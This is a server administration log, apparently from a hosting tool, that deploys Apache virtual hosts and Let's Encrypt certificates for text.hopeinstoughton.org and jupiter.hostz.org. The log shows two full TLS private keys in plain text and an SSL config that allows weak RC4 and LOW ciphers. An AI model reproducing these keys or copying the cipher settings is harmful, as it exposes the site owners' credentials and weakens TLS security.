    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-12 06:00:52: 

PUT: /tmp/pkp611011

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_text_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf= 1'
fi


2025-12-12 06:00:52: 

chmod 755 /tmp/pkp611011; /tmp/pkp611011; rm /tmp/pkp611011

2025-12-12 06:00:52: 




2025-12-12 06:00:52: 

PUT: /tmp/pkp750387

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-12 06:00:52: 

chmod 755 /tmp/pkp750387; /tmp/pkp750387; rm /tmp/pkp750387

2025-12-12 06:00:52: 


.


2025-12-12 06:00:52: Establishing a connection
2025-12-12 06:00:52: 

PUT: /tmp/pkp219006

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-12 06:00:52: 

chmod 755 /tmp/pkp219006; /tmp/pkp219006; rm /tmp/pkp219006

2025-12-12 06:00:52: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-12 06:00:52: 

PUT: /tmp/pkp213206

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:00:52: 

chmod 755 /tmp/pkp213206; /tmp/pkp213206; rm /tmp/pkp213206

2025-12-12 06:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf	1461

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-12 06:00:52: 

PUT: /tmp/pkp788970

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-12 06:00:52: 

chmod 755 /tmp/pkp788970; /tmp/pkp788970; rm /tmp/pkp788970

2025-12-12 06:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt	5413
94:39:fa:87:f4:72:72:05:23:cd:40:16:6f:de:c8:2f

-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBT/fN7hiYdVooEboSJQDltDdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjIwWhcNMjYwMzEyMDUwMjE5WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCpF06Z9ijRmY1ZtdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRN
c0kV71wWmJQZbx98upY+Uw/l+cSpokiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfF
Bx+0lwXf2f3JZzUx1DYirpZgRVPqzxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatx
ysBTDcl6P3Qll6eFHr6lyr8/YYsL3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK
4Cmg14UwSH0w6Hsk06tAfg44ufRiafzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05
m/0Ps6knPaKF7Nyc7ibhE7Q0cMbCSaHaGbm9AgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFC43PRnADxbS/EDMVvj4zHuOhP1FMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVu
Y3Iub3JnLzk0LmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AEmcm2neHXzs
/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxEl1mAAAAQDAEcwRQIhAIhgnQJp
8xuwoPOBNxk79KnR/gfvAQyscos0u+VhdlWXAiBoBVyubD0FN7ykIyv+sD5oT6eH
MMff++cN5ks4MJY6egB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6
AAABmxEl1okAAAQDAEgwRgIhAMYt10oFXzjRDdJ0wpX4ST/KpGqfsFD793f3agwE
IeooAiEAu7n9E0c93PTBVaJpcDU76gMOgr0G4hMSVjRO9kP/TzgwDQYJKoZIhvcN
AQELBQADggEBABv19fwcK769bVN5fNziGDO96K8nyrT+F+Y3Y4L70lhpCKCZw9WY
l2XIAjgy3h3JKXqRhnw4Mtbo3HmsXZpJ71ncIbWoEvX9/uo9K0rsCHMXPjlo/BP2
MsO0F3iDySVHUqJUlzArw2maRYOX+oDzxTgvok77Ft8JNOALNBaJHsR++LCfaxkB
h3FkXPdnC7A3124js8/tsq75GGgoEOkssbS8NmWpxHKHpXIGxgcFFTR01jYCQDD5
wEzvVAJ/heCFLOJIEBDYIQuaJmpMx/n2apd+Hfz33K+mbsyj/v7MIUt0cqg7efqM
Knd0apbmKvgIMdR7V2Zq6Z65P2Ihn5ccBi0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCpF06Z9ijRmY1Z
tdPJnA+JQFijEUt7P2WRX+SthIYvNB4M2LRNc0kV71wWmJQZbx98upY+Uw/l+cSp
okiTXNbOhD6TGONpAk2u3fwcDQm+4muEWVfFBx+0lwXf2f3JZzUx1DYirpZgRVPq
zxH4NrePxaG4OVA/5jJNJQn1OV7ZDM9iTatxysBTDcl6P3Qll6eFHr6lyr8/YYsL
3caoUiO2Z3srmnib3mHSiM24HJi3/FWNFhhK4Cmg14UwSH0w6Hsk06tAfg44ufRi
afzwJHG2m4G/oJuVkB9ieVX/++Gs/6ptbx05m/0Ps6knPaKF7Nyc7ibhE7Q0cMbC
SaHaGbm9AgMBAAECggEAAvo4Fhnxig9MH+JFwm0PEPmjFev+CkOJhE/N9Qg6XKZs
SQmf0yVOiiZW1scFBJWiVk3qy1onE4OcZOhIot+loKlPeMOdbYHu4D9kaxIHs+bE
weXY181ST5nBLrnl8B/zHdeAxIeSekt+OMpApMBB5zQxrs7DjPx+skEOtdS2yNeb
jfKllmqvrv1CbOVupQLGTov5gv6bzkX78uOuckLPgJG1ITjaL9POUn8FmBrlYYDN
HwneX2c+p/ch8w17n/PogbV5FddAKtYfNMjxmpbWrpZXvaWvboHmV6rYI8sL3Amr
7hcjYuzl/wWS5Kzq+mlqtyza8ZlV0kS0+SQ7/QkKeQKBgQDgq05FcxCt4ylMnbew
3hg5KXTtE1LdOpaIojItnhzOIXoF4wgOczcqS8oryfDbjULzsHeF2uO7wKmZa81g
pxsr6y0EWID/vELIUncdR/DADIdEJ+Q4E1u5BuXu1YNiq2+UvIZ6nmZuRfiVh+Kd
68rZSRpKqT2nCgYtoP2bzvcLjwKBgQDAq9xzg1MeC2m4R3zF19IbGQy+uQqPvkug
KsAneNkaRFqrNJxOgA8A4yykyTy2bFj3amAlAu1UwvGZpYy1SZKkft5g9Tlk+7xg
NvVzD3rX8p1DXNrDTKsdsPEPnuTUZQzDqgRCUJvXkXrDQxz6/W2hlnlTBaOZ5fkv
kbjqsp2v8wKBgQDcX6wa+071AclU2a+A0Zk5GK0UjsvNLNbTlyVZEap3lua2N4eD
hQgreMQKR7713I47snDK33ZaiBTT5KZDlCZW4gv6I0YFk4h+LkWgdxxzhNZ5yBdX
2cUyrM2Fg/GoKzj70CCozg7zQ7ceFXf4J32FvOsJKRDMdEyzHSMmXdB9iQKBgQCs
/eI7CQ+o60BqCC28iZIJaI1r9ULJW2gVkCzlg/kSP4tVKzCovww5lL+x2Umc1V1w
EF/w+1bSgxJgDSdwYnW7InpSffuhcvFpRg9N1vlKSXjwUb/OGNmPGB7pEpaNKYmz
aMTYMf4rKGEcTvcHWGKF8lBOvcJt3PHGx0VL3UH+BwKBgQC/K9jF86V711JFydcC
ZlSLHeyeQXTwe3G+FX4eUjxG9cXt+W0ef7fTEnF6W9AMseEhzGuoxJmBpvqWVQkO
rKZtyvUtxGC/Atxk51epeaczxUxsNr+E7UW6jafgoxxP2KAccbGzgypq4rEbwwx/
/OlRRFMeqZsGJiJNVhn4ggu5MA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-12 06:00:52: Establishing a connection
2025-12-12 06:00:52: Establishing a connection
2025-12-12 06:00:52: 

PUT: /tmp/pkp976589

#!/bin/bash
if [ -d "/var/www/hostz_jupiter/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-12 06:00:57: 

chmod 755 /tmp/pkp976589; /tmp/pkp976589; rm /tmp/pkp976589

2025-12-12 06:00:57: 


1


2025-12-12 06:00:58: Establishing a connection
2025-12-12 06:00:58: 

PUT: /tmp/pkp798635

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cat > RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU


2025-12-12 06:00:58: 

chmod 755 /tmp/pkp798635; /tmp/pkp798635; rm /tmp/pkp798635

2025-12-12 06:00:58: 




2025-12-12 06:01:06: Establishing a connection
2025-12-12 06:01:06: 

PUT: /tmp/pkp235043

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
rm RVZlS1b6HqIO5nUPjkH_eXxbXd-65LS_C4fi4EcaskU


2025-12-12 06:01:06: 

chmod 755 /tmp/pkp235043; /tmp/pkp235043; rm /tmp/pkp235043

2025-12-12 06:01:06: 




2025-12-12 06:01:06: Establishing a connection
2025-12-12 06:01:07: 

PUT: /tmp/pkp160638

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
52:4e:0e:df:23:29:32:ed:19:af:84:98:21:10:26:4d

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBfE/A6OnoT5g+cyEuw4Adcl6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEyMDUwMjMzWhcNMjYwMzEyMDUwMjMyWjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALJw/HbxRP3J6M66zyAhLrhO99Qu5DCK9yRj/A5CsipV3YT76QJzH8BJPTmk
/EIbQif0ehuY4b2P4GC0AOkY6R7HM0VNl8XBUuhCXqqoUsLB0RPVSRKRARS4udD/
B8OmJ0+YzTgQ/QHVKOsp5ig8g0SvGHEEm4IrLki9IW1GgBc1zPHI58CFDTxh7g+t
/OhVpJxjwydk3HxnBBtwPcSUb+SNywpOlPv7P4q1frvDMstzWJftqnk4UU9WalGn
pGmrdlhXvZ8cE5O2Rg7cCJF5Y1Vs3iSWs6GMaqm7kQdrmZvgguovijn8Nrj/omCl
fYwPTTvYADjA7h0ic1omlMC1pssCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUhFB+zK0sCcrFZx4t4gyvylAe4IgwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzEyMy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZsRJghRAAAEAwBH
MEUCIFba7ON6n1JW3sPyowCUHzTsuWUnHngr55n+NDfosVNqAiEAvbQwnOHbuVL4
WI2vcOgmcOLAupYqTerhoqlXz1xGnZ8AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsRJhAmAAgAAAUAK2Iv5AQDAEgwRgIhAPKVeYsVKYtXQuJg
Vi52IXaT85I8nrvQVmA481oNlHGQAiEApdwjihO4aeQrrihTlcaJS902Epvaxf4E
JwTWmTfxSiYwDQYJKoZIhvcNAQELBQADggEBAKvuthtqv9ryoYXHot9cb3mnFmH6
7QJ9V4z/5HyI8MVf9o1tnn/nBdn8PhCZuAP+gg9yc9fffi6HSdJXhGDFMgrtwVI3
MiN0YroiNfGKbdeda1wQdwVDJa5vM4J4pkF6q2vggC9dQ493OHLceS9dAlonwIyh
/loADu0UuHeAjsaXGVErq6+YIUN7YgfcbBDc9i0dCe3hmoH2Q3a7Hpf7Oeojhdo6
IfE6kGSB/5MhiPAyRP1anON/NSCzZ5xq1W7HDKc4QwllIAEV7rPWcZhar4Z0Ao6H
cZFxUYsA/KnSLxeT8TNYvFGuYknkebbDGDZE69BZBZot0hdel6LegAiRcqA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCycPx28UT9yejO
us8gIS64TvfULuQwivckY/wOQrIqVd2E++kCcx/AST05pPxCG0In9HobmOG9j+Bg
tADpGOkexzNFTZfFwVLoQl6qqFLCwdET1UkSkQEUuLnQ/wfDpidPmM04EP0B1Sjr
KeYoPINErxhxBJuCKy5IvSFtRoAXNczxyOfAhQ08Ye4PrfzoVaScY8MnZNx8ZwQb
cD3ElG/kjcsKTpT7+z+KtX67wzLLc1iX7ap5OFFPVmpRp6Rpq3ZYV72fHBOTtkYO
3AiReWNVbN4klrOhjGqpu5EHa5mb4ILqL4o5/Da4/6JgpX2MD0072AA4wO4dInNa
JpTAtabLAgMBAAECggEAe6ggzKxWCymo09pRPwq/vam7xKbaK2mh6u3+9kLyBLSM
VmPcDX6KOk6GxzO2PHl3VwjstcM0bJEQBPO4zdAdfN6+gQBMdRaLxbh4sfsDn0OB
CCV+BgfGn/2Dh3m0f7jc9SQG0xuyuVpmiND4VlnY/ff5EBkJSyNxZ6bpSzjX+zx8
T/4zZ+fjmVIbB5C93/7auk/vUh3cYfUnh6+axWFcyoESK9LjMhewpeiJbaFPyyrS
2bTKXvb08i50lHjiNi3zaXEvQpJqMKzjdEJHHE3MYnA+VdwB+kcCMfD0AjjCc19C
fUtxkrWzQSBlNrK9H6Riy3En2WkBimyjkqjdbFyDAQKBgQDlzlktJXRIK9ybN13u
M9CjUj8ko5Ru3mpj2SFtQXk6EiHSpOtwDRLvB7vsHQHrAsOd1kWExc/OMBHEk7Z6
7gvAauYEC1ZUDwoJFEN1j3w+JL431KvKFAlpLKWQ9SRUON+O6u6xQSVS3OSfkqmt
fHe76Nlct/lHNkuDBvhFORIBOwKBgQDGx9X7xw8U3+CGVUruXlFbVhP4YEu5a+xt
xXJhSBmHjldtEoVJQElL+Hvajke4ihS06e2RxUIR4lOgLcpAzUnjKRP4U8Y3ocOH
VTP+vvN9wQC3gPeKJJ3ya/o72TUSXKLDZ6h7AYv0dgljclo38dJEQlUn7ix3TtZR
mN8f7QuXsQKBgQDWMCSn0n/2AIOmW819hefRQYg+wwRG7aClnavtJBg0StAhf7s8
/cKG7WN253ZxL2tZwmubG6/a0qzM1ow/OX3Ugw4N+O8me7nzymIxwWGgnih46wyO
1WwMDiPm3sVUhom/sDJ3HWwHNoEUReNGInuKtbVaGNMLT4zD/AwMoOuqHwKBgFtB
BiUNnwjQNfy1Ty7asbKic4yEeH7o4qMKD5ZFSSMH3269H98e2gc8TW9p/dbj3Nmo
wl03FzuqkQVpv/27wH2+L+LCYq7LXj3UiYgbFSDX54JWfE04viG6HCg5cLm7OSVH
gvrlHODfBzRWHMCuDP81DG7GUjd7Q7w118iKQ9YhAoGBAInKzCDEnUMmQH+V/QSr
QOMqDSjTPnatbDav/5BpIh6WHCfc7Lc3J1Zx2MZSxdOJURtK1niWqa8clPlpr3mY
6RnGXkCpIoJJdnGhOy8wahRY7L9jvo39cFKP2eK7xw0LqUUNr2JeU1UnfcMiNo3i
OQXms728zbU18ikLeiP8nMoU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
